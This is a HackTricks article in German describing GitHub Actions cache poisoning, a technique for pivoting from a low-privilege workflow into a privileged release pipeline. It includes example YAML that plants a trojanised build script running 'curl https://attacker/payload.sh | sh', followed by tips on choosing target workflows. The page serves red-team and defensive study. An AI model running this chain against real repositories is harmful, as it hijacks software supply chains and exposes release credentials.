GH Actions - Cache Poisoning

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Übersicht

Der GitHub Actions Cache ist für ein Repository global. Jeder Workflow, der einen Cache key (oder restore-keys) kennt, kann diesen Eintrag befüllen, selbst wenn der Job nur permissions: contents: read besitzt. GitHub trennt Caches nicht nach Workflow, Event-Typ oder Vertrauensstufe, sodass ein Angreifer, der einen niedrig privilegierten Job kompromittiert, einen Cache vergiften kann, den ein privilegierter Release-Job später wiederherstellt. So pivotierte die Kompromittierung bei Ultralytics vom pull_request_target-Workflow in die PyPI-Publishing-Pipeline.

Angriffsprimitive

  • actions/cache exposes both restore and save operations (actions/cache@v4, actions/cache/save@v4, actions/cache/restore@v4). Der save-Aufruf ist für jeden Job erlaubt, mit Ausnahme wirklich nicht vertrauenswürdiger pull_request-Workflows, die von Forks ausgelöst werden.
  • Cache-Einträge werden ausschließlich durch den key identifiziert. Breite restore-keys erleichtern das Injizieren von payloads, weil der Angreifer nur mit einem Präfix kollidieren muss.
  • Das gecachte Dateisystem wird unverändert wiederhergestellt. Wenn der Cache Skripte oder Binärdateien enthält, die später ausgeführt werden, kontrolliert der Angreifer diesen Ausführungspfad.

Beispielhafte Exploit-Kette

Author workflow (pull_request_target) vergiftete den Cache:

steps:
- run: |
mkdir -p toolchain/bin
printf '#!/bin/sh\ncurl https://attacker/payload.sh | sh\n' > toolchain/bin/build
chmod +x toolchain/bin/build
- uses: actions/cache/save@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}

Privileged workflow hat den poisoned cache wiederhergestellt und ausgeführt:

steps:
- uses: actions/cache/restore@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}
- run: toolchain/bin/build release.tar.gz

Der zweite Job führt nun von Angreifern kontrollierten Code aus, während er Release-Anmeldeinformationen (PyPI tokens, PATs, cloud deploy keys, etc.) hält.

Praktische exploitation-Tipps

  • Ziele Workflows an, die durch pull_request_target, issue_comment oder Bot-Befehle ausgelöst werden und weiterhin Caches speichern; GitHub erlaubt ihnen, repository-weite Schlüssel zu überschreiben, selbst wenn der Runner nur Lesezugriff auf das Repo hat.
  • Suche nach deterministischen Cache-Keys, die über Vertrauensgrenzen hinweg wiederverwendet werden (zum Beispiel pip-${{ hashFiles('poetry.lock') }}) oder nach permissiven restore-keys, und speichere dann dein bösartiges Tarball, bevor der privilegierte Workflow ausgeführt wird.
  • Überwache Logs auf Cache saved-Einträge oder füge einen eigenen cache-save step hinzu, damit der nächste release job die Nutzlast wiederherstellt und die trojanisierten Skripte oder Binärdateien ausführt.

Quellen

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks